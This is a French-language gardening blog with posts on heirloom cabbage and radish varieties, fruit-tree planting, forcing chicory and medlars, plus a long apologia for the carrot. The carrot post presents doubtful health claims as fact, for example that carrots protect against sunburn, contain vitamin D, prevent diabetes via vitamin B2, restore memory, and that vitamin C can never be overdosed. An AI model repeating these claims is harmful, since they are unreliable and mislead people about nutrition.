Curiosité : Il existe une variété anglaise de choux de Bruxelles, de couleur rouge violacé. Elle s’appelle « Rubine » ». 

20071201 042 [1]..

Petits choux de Bruxelles 

 

 

 

 

2.  Les choux feuillus non pommés (frisés ou non)

 

Délicieux en cuisine, les choux feuillus non pommés (Brassica oleracea acephala) sont méconnus parce qu’ils se prêtent mal au conditionnement et que leur conservation est trop brève chez le marchand. Ils ne sont pratiquement pas commercialisés.  

Dans cette catégorie, citons le choux d’aigrette (frisé), le chou palmier (frisé), le formidable chou vivace de Daubenton (ou chou à mille têtes), le chou coréen Green Seoul, le chou japonais Mizuna et surtout le délectable crambé maritime, une variété botanique des régions côtières atlantiques aujourd'hui protégée. Si je n’en pouvais goûter qu’un seul, ce serait assurément ce dernier. 

20071201 056 [1]..

Chou d'aigrette

 

 

 

 

 

20071201 053 [1]..

 

Chou japonais Mizuna

 

 

 

 

 

20071203 021 [2]..

Chou vivace de Daubenton

 

 

 

 

3.  Les choux-fleurs et brocolis

 

Ce sont les nombreuses variétés de choux dont ont ne mange pas le feuillage (encore qu’il puisse, s’il n’est pas traité, entrer dans les soupes et les pots-au-feu !), mais bien les inflorescences. Là encore, la plupart des gens n’imagine pas l’incroyable biodiversité qui existe … en dehors du commerce ! Les bourgeons floraux forment une pomme dont la couleur varie du blanc presque neige au violet, en passant par l’ivoire, le vert et le rose.

 

Parmi les variétés appréciées citons : l’Erfurt, l’Everest, le Flora Bianca, le Géant d’automne, le Jaudry, la Merveille de toutes les saisons, le Molène, le Samos, le Siria, le Taroke, le Viking … et tant d’autres encore. Le Brocoli, qui était presque absent sur les marchés français et belges il y a un quart de siècle, est devenu depuis un légume courant. Mais le marché privilégie seulement quelques variétés hybrides et non pas celles qui ont le plus de qualités gustatives : Calabrais, Minaret, Romanesco, Verflor, Violet, White Star … Impossible d’être exhaustif; le choix est trop grand ! 

20071203 016 [2]..

Chou-fleur 'Merveille des 4 saisons"

 

 

 

20071201 040 [1]..

 Chou brocoli Romanesco

 

 

 

 

 

 

20071201 050 [1]..

Chou-fleur vert

 

 

 

 

20071203 018 [2]..

Chou brocoli d'Angers

 

 

 

4.  Les choux-raves

 

Avec le chou-rave (Brassica oleracea var. gongylodes Lamarck), ce ne sont ni les feuilles, ni les inforescences que l’on mange, c’est la tige. Mais cette tige a la particularité de former un grand bulbe. Selon la variété, l’enflure de la tige peut peser de 100 gr (Blanc hâtif de Vienne, par ex.) à plus de … 15 kg (comme le Superschmelz) ! Beaucoup de choux-raves sont verts, certains violets (Azur Star, Blaro, Violet de Vienne …)

 

20071203 023 [1]..

Chou-rave Wener blanc

 

 

 

 

5.  Les choux-navets

2007 11 07 Rutabaga 002

Rutabaga

 

 

Le célébre et injustement déprécié rutabaga consommé en période de disette, notamment durant la première et la deuxième guerre mondiale, est le représentant le plus notoire des choux-navets (Brassica napus var. napobrassica).

 

Ceux-ci, fort cultivés et consommés en Scandinavie, sont aussi désignés « choux de Suède ».  Ce ne sont ni les feuilles, ni les fleurs, ni la tige que nous mangeons, mais bien la grosse racine conique et allongée.

La chair du chou-navet proprement dit est blanche ; celle du rutabaga est d’une belle couleur jaune.

 

Si l’expérience potagère vous tente, choisissez plutôt les blancs d’Aubigny (deux variétés : l’une à collet vert, et l’autre à collet rouge), ou le rutabaga de Pontivy.

Un chou-navet bien cultivé et récolté à temps est une délice, que plusieurs grands restaurateurs remettent au goût du jour et servent comme un produit de luxe sur des plateaux d’argent. On est loin aujourd’hui de la qualité semi-fourragère qui a fait sa mauvaise réputation en période de disette et le réservait à une consommation populaire de survie.

LE RADIS et ses déclinaisons

 

20071201 015 [1]..
 

 

Le radis et ses déclinaisons

  

Un brin d’histoire …

 

 

 Le nom radis nous vient du latin radix, ce qui  signifie racine. On ne trouve pas de radis à l’état sauvage. C’est une plante alimentaire cultivée depuis la nuit des temps. On sait que les Chinois la cultivaient déjà il y a plus de 3000 ans. Mais il y a lieu de croire que le berceau botanique du radis serait plutôt situé dans les plaines du sud-est asiatique, probablement en Iran. C’était un légume très apprécié dans l’Antiquité. On a trouvé dans les hiéroglyphes de Karnak (l’ancienne Thèbes, capitale religieuse de l’Égypte) des recettes qui attestent la consommation du radis  à la cour des pharaons. Quelques siècles plus tard, on retrouve sa trace dans la cuisine des Crétois, des Grecs et des Romains, qui l’appréciaient et le cultivaient. Médicinalement, ils attribuaient au radis des vertus béchiques (c.-à-d. des propriétés qui calment la toux, dégagent le pharynx irrité et favorise l’expectoration).  A la Renaissance, la culture et la consommation du radis s’introduisent en France dans la foulée de l’imposante cour florentine qui accompagne la toute jeune Catherine de Médicis en vue de son prochain mariage avec le fils second-né de François Ier, le futur roi Henri II. De France, la culture du radis s’étend alors rapidement au reste de l’Europe. Facile et rapide, cette culture devient rapidement populaire. Il a été longtemps considéré comme un aliment du pauvre.

 

 

 

 

De nombreuses variétés et un beau choix de formes, de saveurs et de couleurs…

 

Depuis l’époque de l’introduction du radis en Europe, un long travail de sélection a produit de nombreuses variétés. On peut classer les radis en deux grands groupes : 

 

  1. les radis-raves
  2. les radis proprement dits

 Les radis-raves se caractérisent par la grosseur et la longueur de leur racine pivotante. A ce groupe appartiennent les variétés ‘Rave de mai blanche’ et ‘Longue rave rose’. Je vous propose de développer ce sujet en détail dans un prochain post. Le groupe des radis proprements dits, quant à lui, peut se subdiviser en 5 catégories : 

 

  • Radis ronds et demi-longs à forcer

Ce sont les petits radis bien connus que l’on fait généralement pousser hâtivement  sous châssis.

  

  • Radis ronds de tous les mois

De croissance rapide, ils se sèment directement en terre au printemps et en été.

 

  • Radis demi-longs de tous les mois

A cette catégorie appartiennent les célèbres ‘Radis de 18 jours’ et les ‘Écarlates’.

 

  • Radis d’été et d’automne

Assez curieusement ces variétés d’été et d’automne sont relativement peu cultivées en France et en Belgique. On les sèment en pleine terre après les ‘Saints de Glace’ (de mi-mai à juin). De saveurs plus piquantes, ils semblent surtout appréciés par les Allemands, les Autrichiens, les Hollandais et les Suisses, peuples germaniques qui consomment également beaucoup le raifort. Le célèbre radis noir « Poids d’horloge », appartient à cette catégorie , de même que le « Blanc de Munich », le « Blanc transparent », le « Géant de Stuttgart » … 

  •  
  •  
  • Radis d’hiver

 Les radis d’hiver sont des variétés qui se sèment durant les mois de juin-juillet-août et dont la récolte s’effectue en automne. Il faut les extraire du sol avant les premières grosses gélées et les conserver, soit en cave, soit en silo, soit en les stratifiant dans du sable.Des variétés comme le ‘Blanc de Russie’, le ‘Green Meat’, le ‘Gros rond d’hiver’, ‘le Longo bianco’, le ‘Noir gros long d’hiver de Paris’, le ‘Rose de Chine’ ou le ‘Violet de Gournay’reviennent de plus en plus au goût du jour et sont plus particulièrement appréciés en hors-d’œuvres à cause de leur chair bien ferme et leur saveur toujours tonifiante, plus ou moins piquante, voire parfois légèrement poivrée.  

 

Aux cinq catégories traditionnelles que je viens de citer, il conviendrait d’en adjoindre une sixième, celle des : 

  •  
  •  
  • Radis d’Orient

Ce sont des radis très originaux, mais dont la consommation est encore peu répandue en Europe. Parmi ces variétés orientales, le moins méconnu est le daikon japonais. Mais il existe de nombreuses autres variétés. Vous ne les trouverez que très occasionnellement dans le commerce. Mais il vous est loisible d’en acquérir des graines et de les cultiver vous-même dans votre potager. C’est une culture très facile et, de plus, extrêmement rapide.

Quelques variétés appréciables : Daïkon (Raphanus sativus var. acanthiformis Makino), Misato Green, Minowise long, Long White 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

20071201 016 [1]..

20071201 003 [1]..

ARBRES FRUITIERS : demain, fête de sainte Catherine

2007 05 27 145 Poire Williams_redimensionne 300
Photo : poire Williams 4 semaines après la nouaison

Arbres fruitiers : demain, c'est la fête de sainte Catherine !

L'adage populaire est bien connu : « A la sainte Catherine, tout bois prend racine »! Il nous rappelle opportunément que c'est le moment idéal de plantation pour nos arbres et arbustes fruitiers. En cette saison, pas besoin d'acheter des plants en conteneurs, plus chers et « stressés » depuis des mois dans des godets. Faites l'acquisition de variétés à « racines nues »(=sans motte), c'est avantageux et bien plus efficace pour autant que vous les plantiez maintenant.

Alors, demain, en espérant qu'il ne pleuve pas et ne gèle pas trop non plus, prenez courageusement votre paire de gants, votre bêche et votre sécateur et préparez-vous à installer vos espoirs fruitiers en terre.

Dans un trou de plantation bien préparé et de bonne profondeur, versez du fumier bien décomposé ainsi qu'une poignée de poudre d'os. (Si vous n'avez pas de fumier humide à votre disposition, vous pouvez utiliser le fumier déshydraté en sac plastique que vous indiquera votre pépiniériste.)

C'est vrai que les arbres fruitiers ne sont pas notre spécialité, à Anne et à moi. Mais, dans nos potagers, nous avons réussi à associer arbres et arbustes à nos planches de légumes anciens, en veillant à ce qu'ils puissent bien prospérer ensemble. Dans cette complémentarité recherchée, nos résultats sont déjà très convaincants.

Encouragés par le succès des années antérieures, nous n'avons pas résisté longtemps à vouloir ajouter quelques variétés fruitières savoureuses et parfumées qui nous rappellent notre enfance, en se disant -sans trop vérifier d'ailleurs-, qu'on leur trouverait bien encore une « p'tit' place » pour les faire grandir.

Ce sont toujours les variétés anciennes que nous recherchons et privilégions. Nos coups de cœurs de cet automne : 2 poiriers « Jefke » ou "Beurré Chaboceau", 1 poirier «Bronzée d'Enghien », dont je vous reparlerai,  et 1 poirier « Saint Rémy » ou "Bellissime d'hiver", dont je vous ai déjà parlé. (Si vous ne pouvez attendre nos posts et avez des questions, laissez-nous un message et nous vous répondrons personnellement.)

Où les avons nous trouvés ? Tout simplement chez ECOFLORA à Halle. Cette remarquable pépinière, installée dans une grande et vieille ferme brabançonne située au bord de la route qui mène de Halle à Ninove à travers la campagne vallonnée du «Pajotenland », est une véritable caverne d'Ali Baba pour les amateurs de variétés de plantes rustiques rares, totalement  « hors commerce standard ». Les exploitants sont de vrais écologistes expérimentés, multilingues et sympas. Deux indices tangibles ?

Des dizaines d'hirondelles s'invitent fidèlement chaque printemps dans leurs installations pour y retrouver leurs nombreux nids et se reproduire. Le couple d'hirondelles le plus audacieux à même installé son nid au dessus du comptoir caisse, et personne n'a songé un seul instant à les déranger, au contraire !

Au dessus du présentoir d'un bel assortiment de semences paysannes, un clin d'œil discret : une plaque de rue ancien modèle avec mention « Zonder Haatstraat » ( « Rue Sans haine »). On aimerait retrouver partout cet esprit de tolérance, surtout dans une petite Belgique que nos politiciens déclarent déchirée. Faut-il  les croire ?

Une petite visite virtuelle chez ECOFLORA ? Cliquez sur le lien ci-après, et appréciez l'étendue et l'originalité du catalogue  :

http://www.ecoflora.be/HP_FR.html

LA CAROTTE : apologie raisonnée et résonnante

20071116 [1]..

Copyright: lesjardinsdepomone@hotmail.com

Photo : Les carottes présentées ici sont 'bio' et appartiennent à la variété 'Berlikum'

 

LA CAROTTE  (Daucus carota Linné) : apologie raisonnée et résonnante d'un légume bon marché

                                                                                                                                                                                      

Dans le panier de la ménagère, le budget consacré aux  légumes est un poste de plus en plus lourd. Hélas, c'est vrai ! les légumes sont chers, souvent trop chers et … sanitairement pas sûrs du tout.

D'une manière générale,  -tant en considération du prix qu'en considération de la qualité-, il est préférable de choisir ses légumes en tenant compte du calendrier des récoltes. Vous augmenterez ainsi vos chances de manger des légumes qui ont vraiment poussé dans de la terre, en plein air, et de manière naturelle. A ceux qui croient que tout pousse ainsi, je risque fort d'ébranler leur candide assurance de consommateurs désinformés au fil de mes prochains posts.

Bref, lorsque le budget familial 'légumes' nécessite un petit effort de rééquilibrage, c'est le moment de se souvenir que les carottes, même vendues en bottes avec leurs fanes (feuillage), c'est bien moins cher qu'un kilo de pommes de terre. On en trouve toute l'année et, sur le plan diététique, ces belles racines orangées ont de nombreuses vertus, dont plusieurs sont irremplaçables.

En outre, comme la carotte peut être consommée crue ou cuite avec un égal bonheur, ce n'est pas un « légume par défaut », mais bien un légume noble et généreux pour notre santé.

La carotte représente à elle toute seule un fabuleux cocktail de vitamines pour notre organisme. Jugez-en plutôt :

Vous souhaitez avoir bon teint et bonne mine, combattre le vieillissement de la peau ? Ce pouvoir de jouvence, la carotte le détient notamment du beta-carotène (ou β-carotène), un pigment orange aux vertus antioxydantes qui produit une coloration allant du jaune au rouge , en passant par l'orange. Dans la vie d'un plant de carotte, le rôle du β-carotène qu'il produit et synthétise naturellement le protège des effets néfastes de la lumière.

Cette propriété peut être utile à notre santé. Beaucoup d'entre nous savent déjà qu'une consommation accrue de carotte augmente la pigmentation naturelle de la peau et facilite le bronzage. De nombreux produits commerciaux de protection solaire et des lotions pour l'épiderme utilisent les propriétés du β-carotène. Ce n'est pas un « truc de bonne femme », mais une réelle précaution que de manger des carottes râpées tous les jours durant les 3 à 4 semaines qui précèdent votre grand affrontement annuel avec le soleil des vacances. Vous serez  mieux protégés des coups de soleil cuisants qui font tant de martyrs durant les mois de juillet et d'août.

Le β-carotène, c'est la fameuse pro-vitamine A, que notre organisme transforme en indispensable vitamine A. Celle-ci est fortement impliquée dans le processus de la croissance, parce qu'elle favorise la fixation des minéraux qui doivent y contribuer.

La vitamine A (en association avec la vitamine B2) améliore aussi la vue, notamment la vision nocturne. C'est utile de le savoir pour les adeptes de la conduite automobile de nuit. Elle augmente aussi significativement la résistance de notre corps aux maladies.

La carotte contient beaucoup d'autres vitamines (B1, B2, B3, B5, B6, C, D, E) qui participent à ses vertus remarquables dans notre alimentation : adoucissante, antianémique, antiseptique, diurétique, laxative, stimulante, tonique, vermifuge … Elle agit efficacement comme régulatrice de la flore intestinale et assure un meilleur fonctionnement du foie en fluidifiant la bile.

La vitamine B1 que contient la carotte renforce l'équilibre nerveux.

La production naturelle d'insuline est stimulée par la vitamine B2 et nous protège donc du diabète, une maladie qui atteint de plus en plus de personnes et dont l'expansion galopante préoccupe  chercheurs, médecins et pouvoirs publics.

La vitamine B3 (dite aussi PP) stimule l'énergie et agit en faveur de la musculature et la digestion.

Lorsqu'on perd un peu la mémoire (Comme moi qui souvent, hélas ! a des trous de mémoire au moment le plus inopportun ! Tu te souviens Catherine? Merci de m'avoir tiré d'embarras ce jour-là !), la vitamine B5, généralement assez rare dans notre alimentation, est significativement présente dans la carotte et permet de remédier à ce genre de déficience.

Pour la vitamine B6 (appelée aussi vitamine G), retenons parmi ses très nombreuses vertus, son rôle bienfaisant dans la formation de l'hémoglobine du sang et son influence sur nos humeurs. Si carotte=bonne humeur, c'est une botte de carotte, et non pas un bouquet de fleurs, qu'il faudrait offrir aux trop nombreux ronchonneurs.

Quant à la plus célébre des vitamines, la vitamine C, celle que l'on ne surdose jamais, elle est présente dans la carotte (crue) à concurrence de 7 mg pour 100 gr. Elle combat la fatigue en favorisant l'élimination des toxines accumulées dans notre organisme.

La vitamine D fixe le calcium des os. Elle prévient l'ostéoporose et régularise harmonieusement notre sommeil.

Quant à la vitamine E, elle est aussi très présente dans la carotte, et entretient nos bonnes performances sexuelles. Tant qu'à faire de telles choses, autant y aller sportivement … en croquant des carottes.

Pour terminer cette longue apologie de la carotte, je précise – puisque c'est devenu un critère important dans l'évaluation qualitative de notre alimentation – qu'elle est aussi particulièrment riche en fibres, surtout en pectine et en cellulose.

Ah, j'oubliais … pour les branchés du calcul de l'apport énergétique journalier,  la carotte (crue) c'est environ 30 kilocalories pour 100 gr !

J'imagine qu'après un tel plaidoyer, vous serez nombreux à vouloir vous précipiter sur une botte de carottes. Retenez-vous encore un instant; il y a quelques bémols …

La carotte est un légume de culture intensive, et probablement celui qui est traité avec le plus de pesticides différents. Sachant que la plus grande partie des vitamines de la carotte sont localisées dans et juste sous la peau, cela pose un petite problème lorsqu'elles sont issues de quelques unités seulement de toute grosse production agroalimentaire, celles qui approvisionnent essentiellement nos supermarchés.

Face à un choix aussi cornélien, je vous le dis sincèrement, il vaut mieux – à mon avis – se priver de la partie des vitamines contenues dans la peau que d'absorber des résidus de pesticides non identifiables par la grande majorité des consommateurs. Pelez vos carottes ! Ce sera un moindre mal. J'aurai sans doute l'occasion de vous exposer dans un prochain post, ce que j'ai appris et constaté fréquemment au sujet du respect des délais d'innocuité imposés – en principe – aux producteurs après utilisation de leurs pharmacopées sataniques.

Pourquoi j'aime pas les carottes du supermarchés ? Parce qu'elle sont trops belles, trop propres, trop lisses en sortant de leur Car(rot) Wash. Si vous le pouvez, achetez plutôt des carottes bio … et vous aurez même une véritable chance qu'elles le soient vraiment.

A défaut, vous pourriez les cultiver vous-même dans votre potager. Je vous y encourage, et je pense que vous devriez appréciez plus particulièrement l'une ou l'autre des variétés suivantes, classées en trois catégories qui assurent successivement  la présence de carotte sur votre table en toutes saisons :

Carottes courtes (variétés à forcer ou précoces)

Rouge à forcer (grelot ‘Marché de Paris')

Rouge courte de Croissy

Rouge courte Bellot (très hâtive)

Rouge très courte à châssis

Carottes demi-longues (variétés de saison)

Rouge demi-longue de Guérande

Rouge demi-longue de Chantenay

Rouge demi-longue Nantaise sans cœur

Rouge demi-longue de Carentan

Carottes longues (variétés tardives)

Rouge Berlikum

Rouge longue de Saint-Valéry

Rouge longue lisse de Meaux (destinée à la conservation)

Pour sa croissance, la carotte demande une terre meuble et légère afin de bien pouvoir « forer » dans un sol où il par ailleurs est fort utile d'incorporer votre vieux marc de café. La plupart des variétés supportent bien de faibles gelées.

Dernier bémol sur la carotte ! Alors que l'action anticancérigène de ce légume est largement admise et étayée statistiquement, une étude relativement récente, elle aussi statistique et portant sur près de 60.000 individus, aurait mis en évidence, qu'à l'encontre de cette idée très répandue, les fumeurs – et plus particulièrement les fumeuses – verraient augmenter paradoxalement la probabilité de développer un cancer en consommant des carottes sensées les prémunir.

Il fallait aussi le dire ! Quoi qu'il en soit, pour la majorité d'entre nous, la carotte peut vraiment être consommée sans modération.

Bien chlorophyllement vôtre,

José

P.S. :  Chttt … une confidence ! Anne a une petite recette aux carottes derrière la tête. Elle la met au point et m'interdit l'accès de la cuisine. Mais elle m'a promis de vous la communiquer – avec des photos – dans son tout prochain post. (à suivre …)

LE CHICON : Une chicorée endive (Cichorium intybus) déclinée dans toute sa belgitude

20071116 [5]..
Photo : Racines de chicon prêtes pour l'ensilage  (Copyright: les Jardins de Pomone)

 

 

 

Nouvelle expérience pour les Jardins de Pomone en 2007. Cet hiver, Anne et moi produirons nos propres chicons. Pourquoi ? Tout simplement parce qu’on aime pas les « hydroponiques », ni les variétés issues d’une sélection intensive dont la principale caractéristique est d’avoir perdu toute amertume naturelle, c’est  à dire … le vrai goût du chicon. Cette amertume, bien utilisée, est ce qu’il y a de plus valable dans ce gros bourgeon de légume, tant sur le plan gastronomique que sur celui de la diététique. Pourriez-vous imaginer un succulent Faisan à la brabançonne garni avec des chicons totalement dépourvus de leur bon goût sauvage naturel ? Faut quand-même pas lâcher la proie pour l’ombre ! Si on les laisse faire sans résister, les distributeurs de légumes « agrotechnologiques » nous feront manger de la roquette au goût de fraise, ou des brocolis saveur ketchup en nous faisant croire que c’est meilleur.

 

Mais revenons à nos chicons !  Les vrais …

 

Dès la fin mars, nous avons semé nos graines dans un sol limoneux, mais bien humifère. La variété que nous avons choisie est le « Mechelse vroege ».  Pour nos amis français – N’est-ce pas Lalita ! Je ne sais pas pourquoi je pense d’abord à toi ! – cela se traduit du flamand en endive Witloof « Hâtive de Malines ». Cette variété produit des chicons assez volumineux, bien denses et de forme plutôt  allongée.Les rangs de semis sont espacés d’une trentaine de centimètres. Au fur et à mesure de leur croissance (+/- 8 mois), il faut éclaircir les plants à 10 cm au moins, afin de favoriser le développement bien en profondeur des racines.

 

A la mi-novembre, donc exactement en cette saison, on pratique l’opération d’arrachage, c’est-à-dire déterrer les longues racines (à la fourche de préférence).

 

Ensuite, avec un grand couteau bien tranchant, on élimine le feuillage en coupant à 3 cm du collet (au maximum). Puis on tranche la pointe principale de chaque racine à une hauteur telle que la section reste inférieure à 2 cm de diamètre. (Il faut couper aussi les racines secondaires.)

 

Les racines ainsi apprêtées sont alors stockées en cave jusqu’au mois de décembre.

 

Début décembre, nous procéderons à l’ensilage (= la mise en silo) des racines dans une fosse creusée dans notre serre. Celles-ci sont placées bien droites, l’une à côté de l’autre, comme un régiment de petits soldats au garde-à-vous. Lorsque le silo est plein, on le recouvre d’un mélange de bon terrau alourdi avec du sable (1/3 de terreau universel horticole – pas celui pour les géraniums ou les cactus bien sûr ! – et 2/3 de sable du rhin assez gros). On termine avec une bonne couche de paille pour l’isolation, surmontée d’une bâche opaque. Le sol de couverture du silo (épaisseur : 15-20 cm), alourdi par le sable, assurera une pression plus forte sur le bourgeon qui jaillira du collet de la racine au bout de 2 à 3 semaines; le chicon sera alors bien serré et pointu, c’est à dire parfaitement réussi. 

 

Dans cette opération que l’on appelle le forçage, outre la constitution du sol de couverture préconisé ci-dessus, deux autres conditions sont déterminantes. Tout d’abord, il faut maintenir constamment la température du silo entre 14 et 20°C. Ensuite, il faut que toute la culture soit totalement et constamment à l’abri de la lumière, sinon les chicons verdissent en quelques heures … et n’en sont plus ! 

 

Avec tout l’amour qu’Anne met à vouloir faire parfaitement les choses, je suis sûr que, cette année, nos chicons seront merveilleux de forme et de goût, et que j’aurai plaisir à en vous reparler. Je lui demanderai – très poliment, mais avec toute l’insistance requise – de vous communiquer ses meilleures recettes. Quant à moi, je communiquerai mon cahier d’observation à ceux que cela intéresse plus spécialement.

Partager, c'est déjà vivre mieux …

FRUITS DE SAISON : LES NÈFLES

20071112 Nèfles

Les premières gelées nocturnes sévissent actuellement dans la région bruxelloise.

Si vous avez la chance d'avoir un néflier (ou plusieurs) dans votre jardin, ce type de temps est le moment idéal pour en récolter les fruits. Les nèfles ont pratiquement disparu dans le commerce d'aujourd'hui et cela depuis plusieurs dizaines d'années déjà. A tel point que beaucoup de gens n'en connaissent même pas le goût, par ailleurs très spécial.

Anne et moi en avons récolté aujourd'hui, avec la joie de deux grands enfants qui pensent déjà aux délicieuses gelées et chutneys originaux que ces fruits nous permettront de préparer bientôt.

Comme les nèfles se consomment blettes ("pourries', dirait notre fille !), il faudra encore attendre environ un mois avant de les utiliser en cuisine, en les laissant mûrir dans un endroit frais et aéré à l'abri du gel. Elles pourront donc accompagner certains mets de nos repas des fêtes de fin d'année.

José 

20071112  3 Nèfles